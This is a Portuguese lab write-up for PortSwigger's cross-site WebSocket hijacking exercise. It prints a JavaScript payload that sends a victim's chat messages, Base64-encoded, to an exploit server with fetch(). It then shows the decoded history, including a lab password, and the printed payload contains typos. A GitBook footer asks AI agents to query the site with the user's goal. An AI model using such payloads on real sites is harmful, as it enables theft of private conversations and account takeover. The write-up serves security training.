> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/websockets/cross-site-websocket-hijacking.md).

# Sequestro de WebSocket entre sites

Notas sobre sequestro de WebSocket entre sites para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Sequestro de WebSocket entre sites

O aplicativo é uma loja online com um **chat ao vivo** recurso implementado usando **WebSockets**. / Toda vez que você visita a página do chat, **todo o histórico da conversa é carregado automaticamente**, sem controle rigoroso da origem da solicitação.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70e7bc0501d62066f81dc9adfb23e87ede27e525%2F%7B94E83C7A-8139-4ADB-9792-CB0929065B1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

As mensagens trocadas usam o seguinte formato JSON:

```json
{
    "user":"Você",
    "content":"oi"
}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e27239eccf23f411c7d149cc7f0ca528f56c14ee%2F%7B94C75783-8DC8-4A12-8F33-DBDDBDF1AAC3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Exfiltre o histórico do chat da vítima por meio de um ataque de \*\*sequestro de WebSocket entre sites\*\*, e então use as informações recuperadas para acessar a conta dele.

***

#### Princípio do ataque

L的**Servidor de Exploração** é usado para hospedar uma carga útil em HTML/JavaScript que:

1. Estabelece uma conexão WebSocket com o servidor de chat alvo.
2. Envia a mensagem necessária para inicializar a comunicação (`READY`).
3. Intercepta todas as mensagens recebidas via WebSocket.
4. Exfiltra essas mensagens para o Servidor de Exploração após codificá-las em Base64.

***

#### Carga útil usada

Um `data.js` arquivo é criado com o seguinte conteúdo:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

Este script é executado no navegador da vítima quando ela visita o Servidor de Exploração e automaticamente usa sua sessão autenticada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53dce463caffceb21f938f68154ff73341175a34%2F%7B34FBE443-4C58-4F8A-87E7-D301BD0EF96D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dados exfiltrados

O servidor operacional recebe várias strings codificadas em Base64, por exemplo:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

Após a decodificação, o histórico completo do chat é reconstituído:

```json
{"user":"Hal Pline","content":"Hello, how can I help?"}
{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"Sem problema, carlos, it&apos;s bijj9k61m8bjv18ug67u"}
{"user":"You","content":"Obrigado, espero que isso não venha me assombrar!"}
{"user":"CONNECTED","content":"-- Agora conversando com Hal Pline --"}
```

#### Resultado

As informações sensíveis recuperadas permitem identificar as credenciais da vítima:

* **Usuário**: carlos
* **Senha**: `bijj9k61m8bjv18ug67u`

Essas credenciais podem então ser usadas para acessar a conta de Carlos e validar o laboratório.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
